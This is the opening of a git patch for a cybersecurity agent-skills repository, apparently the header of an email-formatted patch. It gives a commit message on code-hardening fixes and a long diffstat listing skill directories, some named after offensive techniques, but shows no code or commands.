From c47eed6a64a9bf44432050e78e2438e69503c8d1 Mon Sep 17 00:00:00 2001 From: mukul975 Date: Thu, 19 Mar 2026 13:26:49 +0100 Subject: [PATCH] Production hardening: security fixes, code quality, 724 skills complete - Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files --- AUDIT_REPORT.md | 398 ++++++++++++ fix_timeouts.py | 140 ++++ .../scripts/agent.py | 45 +- .../SKILL.md | 3 + .../scripts/agent.py | 3 - .../scripts/agent.py | 3 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 7 +- .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 3 - .../SKILL.md | 2 +- .../scripts/agent.py | 3 - .../SKILL.md | 3 + .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 - .../LICENSE | 0 .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 0 .../scripts/agent.py | 1 - .../scripts/agent.py | 3 +- .../scripts/agent.py | 3 - .../scripts/agent.py | 58 +- .../scripts/agent.py | 5 - .../scripts/agent.py | 17 +- .../scripts/agent.py | 8 +- .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 10 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 30 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 18 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 12 +- .../SKILL.md | 2 +- .../scripts/agent.py | 8 +- .../SKILL.md | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 11 +- .../scripts/agent.py | 5 +- .../SKILL.md | 2 +- .../scripts/agent.py | 3 +- .../SKILL.md | 3 + .../scripts/agent.py | 2 +- .../scripts/agent.py | 33 +- .../scripts/agent.py | 4 +- .../scripts/agent.py | 14 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 5 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 10 +- .../LICENSE | 0 .../SKILL.md | 0 .../assets/template.md | 0 .../references/api-reference.md | 0 .../references/standards.md | 0 .../references/workflows.md | 0 .../scripts/agent.py | 3 - .../scripts/process.py | 0 .../SKILL.md | 3 + .../scripts/agent.py | 9 +- .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 3 - .../scripts/agent.py | 3 +- .../LICENSE | 0 .../SKILL.md | 163 +++++ .../references/api-reference.md | 97 +++ .../scripts/agent.py | 218 +++++++ .../scripts/agent.py | 3 +- .../scripts/agent.py | 7 +- .../SKILL.md | 2 +- .../scripts/agent.py | 12 +- .../SKILL.md | 2 +- .../scripts/agent.py | 12 +- .../scripts/agent.py | 7 +- .../SKILL.md | 3 + .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 9 +- .../scripts/agent.py | 2 - .../SKILL.md | 3 + .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | Bin 6348 -> 6177 bytes .../scripts/agent.py | 3 +- .../scripts/agent.py | 2 - .../LICENSE | 0 .../SKILL.md | 0 .../assets/template.md | 0 .../references/api-reference.md | 0 .../references/standards.md | 0 .../references/workflows.md | 0 .../scripts/agent.py | 0 .../scripts/process.py | 0 .../scripts/agent.py | 8 +- .../scripts/agent.py | 4 + .../SKILL.md | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 9 +- .../SKILL.md | 2 +- .../LICENSE | 0 .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 0 .../scripts/agent.py | 3 +- .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 8 +- .../scripts/agent.py | 4 +- .../SKILL.md | 4 +- .../SKILL.md | 2 +- .../scripts/agent.py | 18 +- .../SKILL.md | 2 +- .../SKILL.md | 2 +- .../LICENSE | 0 .../SKILL.md | 169 +++++ .../references/api-reference.md | 94 +++ .../scripts/agent.py | 281 ++++++++ .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 17 +- .../scripts/agent.py | 4 +- .../SKILL.md | 2 +- .../SKILL.md | 5 +- .../scripts/agent.py | 7 +- .../scripts/agent.py | 2 - .../SKILL.md | 3 +- .../scripts/agent.py | 7 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../SKILL.md | 5 +- .../scripts/agent.py | 7 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 32 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 17 +- .../LICENSE | 0 .../SKILL.md | 0 .../assets/template.md | 0 .../references/api-reference.md | 0 .../references/standards.md | 0 .../references/workflows.md | 0 .../scripts/agent.py | 0 .../scripts/process.py | 0 .../scripts/agent.py | 17 +- .../SKILL.md | 5 +- .../scripts/agent.py | 3 + .../SKILL.md | 3 + .../scripts/agent.py | 4 +- .../SKILL.md | 5 +- .../scripts/agent.py | 3 + .../scripts/agent.py | 3 +- .../scripts/agent.py | 6 +- .../SKILL.md | 3 + .../LICENSE | 0 .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 1 - .../SKILL.md | 5 +- .../scripts/agent.py | 4 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 4 +- .../scripts/agent.py | 1 - .../SKILL.md | 5 +- .../scripts/agent.py | 3 + .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 3 +- .../scripts/agent.py | 7 +- .../scripts/agent.py | 2 - .../SKILL.md | 4 +- .../scripts/agent.py | 3 +- .../SKILL.md | 2 +- .../scripts/agent.py | 3 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 11 +- .../scripts/agent.py | 13 +- .../scripts/agent.py | 11 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 4 +- .../LICENSE | 0 .../SKILL.md | 0 .../assets/template.md | 0 .../references/api-reference.md | 0 .../references/standards.md | 0 .../references/workflows.md | 0 .../scripts/agent.py | 2 +- .../scripts/process.py | 2 +- .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 2 +- .../LICENSE | 0 .../SKILL.md | 182 ++++++ .../references/api-reference.md | 121 ++++ .../scripts/agent.py | 260 ++++++++ .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 2 +- .../SKILL.md | 4 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 7 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../LICENSE | 0 .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 0 .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../LICENSE | 0 .../SKILL.md | 0 .../assets/template.md | 0 .../references/api-reference.md | 0 .../references/standards.md | 0 .../references/workflows.md | 0 .../scripts/agent.py | 4 - .../scripts/process.py | 0 .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 3 - .../SKILL.md | 2 +- .../scripts/agent.py | 4 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 2 - .../SKILL.md | 3 + .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../LICENSE | 0 .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 0 .../scripts/agent.py | 2 - .../scripts/agent.py | 7 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../LICENSE | 0 .../SKILL.md | 142 ++++ .../references/api-reference.md | 107 +++ .../scripts/agent.py | 530 +++++++++++++++ .../LICENSE | 0 .../SKILL.md | 19 + .../references/api-reference.md | 70 ++ .../scripts/agent.py | 221 +++++++ .../SKILL.md | 485 ++++++++++++++ .../references/api-reference.md | 142 ++-- .../scripts/agent.py | 611 +++++++++++++----- .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 10 +- .../SKILL.md | 2 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 8 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 4 - .../LICENSE | 0 .../SKILL.md | 197 ++++++ .../references/api-reference.md | 106 +++ .../scripts/agent.py | 314 +++++++++ .../scripts/agent.py | 6 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 2 - .../SKILL.md | 3 + .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 5 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 7 - .../LICENSE | 0 .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 7 +- .../scripts/agent.py | 5 +- .../SKILL.md | 4 +- .../scripts/agent.py | 4 +- skills/executing-red-team-exercise/SKILL.md | 3 + .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../SKILL.md | 5 +- .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 2 - .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../exploiting-broken-link-hijacking/SKILL.md | 3 + .../scripts/agent.py | 4 +- .../SKILL.md | 5 +- .../scripts/agent.py | 2 - .../SKILL.md | 3 + .../scripts/agent.py | 4 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 11 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 6 +- .../SKILL.md | 3 + .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 2 - .../SKILL.md | 3 + .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 2 - .../SKILL.md | 5 +- .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 2 - .../SKILL.md | 3 + .../scripts/agent.py | 1 - .../scripts/agent.py | 3 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 3 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 2 +- .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 6 +- .../scripts/agent.py | 11 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 3 - .../scripts/agent.py | 3 - .../scripts/agent.py | 4 - .../scripts/agent.py | 1 - .../scripts/agent.py | 3 +- .../scripts/agent.py | 6 +- .../SKILL.md | 319 +++++++++ .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 3 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 2 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../LICENSE | 0 .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 0 .../LICENSE | 0 .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 0 .../SKILL.md | 2 +- .../scripts/agent.py | 3 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../LICENSE | 0 .../SKILL.md | 205 ++++++ .../references/api-reference.md | 138 ++++ .../scripts/agent.py | 324 ++++++++++ .../scripts/agent.py | 2 - .../scripts/agent.py | 10 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 +- .../scripts/agent.py | 5 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 24 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../SKILL.md | 8 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../LICENSE | 201 ++++++ .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 0 .../scripts/agent.py | 1 - .../scripts/agent.py | 4 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../scripts/agent.py | 4 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 5 +- .../SKILL.md | 2 +- .../SKILL.md | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 3 - .../scripts/agent.py | 16 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 2 +- .../SKILL.md | 4 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 3 +- .../SKILL.md | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 6 +- .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 15 +- .../scripts/agent.py | 5 +- .../SKILL.md | 2 +- .../scripts/agent.py | 13 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 9 +- .../SKILL.md | 2 +- .../scripts/agent.py | 4 +- .../scripts/agent.py | 5 +- .../scripts/agent.py | 5 +- .../SKILL.md | 2 +- .../scripts/agent.py | 12 +- .../SKILL.md | 2 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 5 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../SKILL.md | 3 + .../scripts/agent.py | 3 +- .../scripts/agent.py | 3 - .../SKILL.md | 2 +- .../scripts/agent.py | 3 +- .../scripts/agent.py | 4 +- .../LICENSE | 201 ++++++ .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 0 .../scripts/agent.py | 2 +- .../scripts/agent.py | 5 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 4 +- .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../references/api-reference.md | 160 ++++- .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../references/api-reference.md | 208 +++++- .../scripts/agent.py | 2 +- .../references/api-reference.md | 172 ++++- .../scripts/agent.py | 338 ++++++++-- .../references/api-reference.md | 184 +++++- .../scripts/agent.py | 304 +++++++-- .../SKILL.md | 2 +- .../references/api-reference.md | 180 +++++- .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../LICENSE | 201 ++++++ .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 0 .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../references/api-reference.md | 179 ++++- .../scripts/agent.py | 2 +- .../references/api-reference.md | 183 +++++- .../scripts/agent.py | 2 +- .../references/api-reference.md | 214 +++++- .../scripts/agent.py | 328 ++++++++-- .../LICENSE | 201 ++++++ .../SKILL.md | 209 ++++++ .../references/api-reference.md | 132 ++++ .../scripts/agent.py | 322 +++++++++ .../SKILL.md | 4 +- .../references/api-reference.md | 191 +++++- .../scripts/agent.py | 2 +- .../scripts/process.py | 3 +- .../LICENSE | 201 ++++++ .../SKILL.es.md | 0 .../SKILL.md | 0 .../assets/template.md | 0 .../references/api-reference.md | 103 +++ .../references/standards.md | 0 .../references/workflows.md | 0 .../scripts/agent.py | 2 +- .../scripts/process.py | 0 .../references/api-reference.md | 27 - .../references/api-reference.md | 197 +++++- .../scripts/agent.py | 2 +- .../references/api-reference.md | 221 ++++++- .../scripts/agent.py | 257 ++++++-- .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../implementing-saml-sso-with-okta/SKILL.md | 2 +- .../SKILL.md | 2 +- .../references/api-reference.md | 179 ++++- .../scripts/agent.py | 2 +- .../references/api-reference.md | 182 +++++- .../scripts/agent.py | 248 +++++-- .../references/api-reference.md | 179 ++++- .../scripts/agent.py | 305 +++++++-- .../SKILL.md | 3 + .../SKILL.md | 375 +++++++++++ .../scripts/agent.py | 5 +- .../LICENSE | 201 ++++++ .../references/api-reference.md | 198 +++++- .../scripts/agent.py | 255 ++++++-- .../SKILL.md | 3 + .../scripts/agent.py | 23 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 4 +- .../SKILL.md | 3 + .../scripts/agent.py | 10 +- .../references/api-reference.md | 179 ++++- .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../references/api-reference.md | 173 ++++- .../scripts/agent.py | 353 ++++++++-- .../references/api-reference.md | 181 +++++- .../scripts/agent.py | 2 +- .../SKILL.md | 3 + .../scripts/agent.py | 6 +- .../SKILL.md | 4 +- .../references/api-reference.md | 186 +++++- .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../references/api-reference.md | 201 +++++- .../scripts/agent.py | 2 +- .../LICENSE | 201 ++++++ .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 0 .../scripts/agent.py | 22 +- .../references/api-reference.md | 189 +++++- .../scripts/agent.py | 2 +- .../references/api-reference.md | 171 ++++- .../scripts/agent.py | 312 +++++++-- .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../references/api-reference.md | 161 ++++- .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../references/api-reference.md | 204 +++++- .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 14 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 4 - .../SKILL.md | 2 +- .../scripts/agent.py | 7 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 4 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../scripts/agent.py | 2 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 13 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 3 + .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 4 +- .../scripts/agent.py | 3 +- .../SKILL.md | 2 +- .../scripts/agent.py | 3 +- .../SKILL.md | 2 +- .../LICENSE | 201 ++++++ .../references/api-reference.md | 168 +++++ .../scripts/agent.py | 438 +++++++++++++ .../scripts/agent.py | 2 +- .../references/api-reference.md | 200 +++++- .../scripts/agent.py | 291 +++++++-- .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 3 +- .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 6 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 8 +- .../SKILL.md | 2 +- .../references/api-reference.md | 205 +++++- .../scripts/agent.py | 318 +++++++-- .../references/api-reference.md | 181 +++++- .../scripts/agent.py | 286 ++++++-- .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 6 +- .../SKILL.md | 427 +++++++++++- .../scripts/agent.py | 4 +- .../references/api-reference.md | 179 ++++- .../scripts/agent.py | 286 ++++++-- .../SKILL.md | 3 + .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../references/api-reference.md | 160 ++++- .../scripts/agent.py | 2 +- .../SKILL.md | 3 + .../scripts/agent.py | 4 +- .../references/api-reference.md | 191 +++++- .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../references/api-reference.md | 175 ++++- .../scripts/agent.py | 2 +- .../scripts/agent.py | 12 +- .../LICENSE | 201 ++++++ .../SKILL.md | 0 .../references/api-reference.md | 0 .../scripts/agent.py | 0 .../scripts/agent.py | 2 +- .../scripts/agent.py | 343 ++++++++-- .../scripts/agent.py | 1 - .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../references/api-reference.md | 210 +++++- .../scripts/agent.py | 2 +- .../scripts/agent.py | 349 ++++++++-- .../SKILL.md | 3 + .../scripts/agent.py | 7 +- .../SKILL.md | 2 +- .../references/api-reference.md | 174 ++++- .../scripts/agent.py | 269 ++++++-- .../SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../scripts/agent.py | 3 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 17 +- .../scripts/agent.py | 10 +- .../scripts/agent.py | 12 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 3 + .../SKILL.md | 3 + .../scripts/agent.py | 4 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 4 +- .../SKILL.md | 3 + .../scripts/agent.py | 5 +- .../SKILL.md | 2 +- .../scripts/agent.py | 3 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 2 +- .../scripts/agent.py | 10 +- .../SKILL.md | 2 +- .../SKILL.md | 3 + .../scripts/agent.py | 3 + .../performing-kerberoasting-attack/SKILL.md | 5 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 6 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../SKILL.md | 5 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 3 - .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 9 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 3 +- .../SKILL.md | 2 +- .../scripts/agent.py | 2 - .../SKILL.md | 9 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 6 +- .../scripts/agent.py | 1 - .../SKILL.md | 5 +- .../scripts/agent.py | 5 +- .../scripts/agent.py | 10 +- .../SKILL.md | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 5 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../scripts/agent.py | 13 +- .../SKILL.md | 3 + .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../LICENSE | 201 ++++++ .../SKILL.md | 0 .../assets/template.md | 0 .../references/api-reference.md | 0 .../references/standards.md | 0 .../references/workflows.md | 0 .../scripts/agent.py | 0 .../scripts/process.py | 0 .../scripts/agent.py | 3 - .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 4 +- .../performing-service-account-audit/SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 6 +- .../scripts/agent.py | 3 - .../SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 7 +- .../scripts/agent.py | 4 +- .../performing-ssl-stripping-attack/SKILL.md | 3 + .../scripts/agent.py | 4 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../SKILL.md | 3 + .../scripts/agent.py | 5 +- .../SKILL.md | 3 + .../scripts/agent.py | 10 +- .../scripts/agent.py | 11 +- .../scripts/agent.py | 10 +- .../SKILL.md | 393 +++++++++++ .../scripts/agent.py | 5 +- .../SKILL.md | 4 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 5 +- .../scripts/agent.py | 11 +- .../performing-vlan-hopping-attack/SKILL.md | 3 + .../scripts/agent.py | 21 +- .../scripts/agent.py | 11 +- .../scripts/agent.py | 5 +- .../scripts/agent.py | 3 +- .../SKILL.md | 2 +- .../SKILL.md | 3 + .../scripts/agent.py | 8 +- .../SKILL.md | 3 + .../scripts/agent.py | 4 +- .../scripts/agent.py | 18 +- .../SKILL.md | 2 +- .../scripts/agent.py | 12 +- .../SKILL.md | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 4 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 6 +- .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../reverse-engineering-rust-malware/SKILL.md | 2 +- .../SKILL.md | 2 +- .../SKILL.md | 2 +- .../scripts/agent.py | 5 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../SKILL.md | 2 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 3 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 16 +- .../scripts/agent.py | 12 +- .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../SKILL.md | 3 + .../scripts/agent.py | 3 + .../SKILL.md | 3 + .../scripts/agent.py | 3 + .../SKILL.md | 3 + .../scripts/agent.py | 3 + .../scripts/agent.py | 1 - .../scripts/agent.py | 1 - .../testing-for-xss-vulnerabilities/SKILL.md | 3 + .../scripts/agent.py | 2 - .../scripts/agent.py | 1 - .../scripts/agent.py | 14 +- .../scripts/process.py | 5 +- .../scripts/agent.py | 9 +- .../LICENSE | 201 ++++++ .../SKILL.md | 163 +++++ .../references/api-reference.md | 132 ++++ .../scripts/agent.py | 316 +++++++++ .../SKILL.md | 2 +- .../scripts/agent.py | 2 +- .../scripts/agent.py | 2 - .../SKILL.md | 2 +- .../LICENSE | 201 ++++++ .../SKILL.md | 171 +++++ .../references/api-reference.md | 160 +++++ .../scripts/agent.py | 323 +++++++++ 900 files changed, 23085 insertions(+), 2720 deletions(-) create mode 100644 AUDIT_REPORT.md create mode 100644 fix_timeouts.py rename skills/{analyzing-cobalt-strike-malleable-profiles => analyzing-cobalt-strike-malleable-profiles.bak}/LICENSE (100%) rename skills/{analyzing-cobalt-strike-malleable-profiles => analyzing-cobalt-strike-malleable-profiles.bak}/SKILL.md (100%) rename skills/{analyzing-cobalt-strike-malleable-profiles => analyzing-cobalt-strike-malleable-profiles.bak}/references/api-reference.md (100%) rename skills/{analyzing-cobalt-strike-malleable-profiles => analyzing-cobalt-strike-malleable-profiles.bak}/scripts/agent.py (100%) rename skills/{analyzing-phishing-email-headers => analyzing-phishing-email-headers.bak}/LICENSE (100%) rename skills/{analyzing-phishing-email-headers => analyzing-phishing-email-headers.bak}/SKILL.md (100%) rename skills/{analyzing-phishing-email-headers => analyzing-phishing-email-headers.bak}/assets/template.md (100%) rename skills/{analyzing-phishing-email-headers => analyzing-phishing-email-headers.bak}/references/api-reference.md (100%) rename skills/{analyzing-phishing-email-headers => analyzing-phishing-email-headers.bak}/references/standards.md (100%) rename skills/{analyzing-phishing-email-headers => analyzing-phishing-email-headers.bak}/references/workflows.md (100%) rename skills/{analyzing-phishing-email-headers => analyzing-phishing-email-headers.bak}/scripts/agent.py (98%) rename skills/{analyzing-phishing-email-headers => analyzing-phishing-email-headers.bak}/scripts/process.py (100%) rename skills/{auditing-kubernetes-rbac-permissions => analyzing-ransomware-payment-wallets}/LICENSE (100%) create mode 100644 skills/analyzing-ransomware-payment-wallets/SKILL.md create mode 100644 skills/analyzing-ransomware-payment-wallets/references/api-reference.md create mode 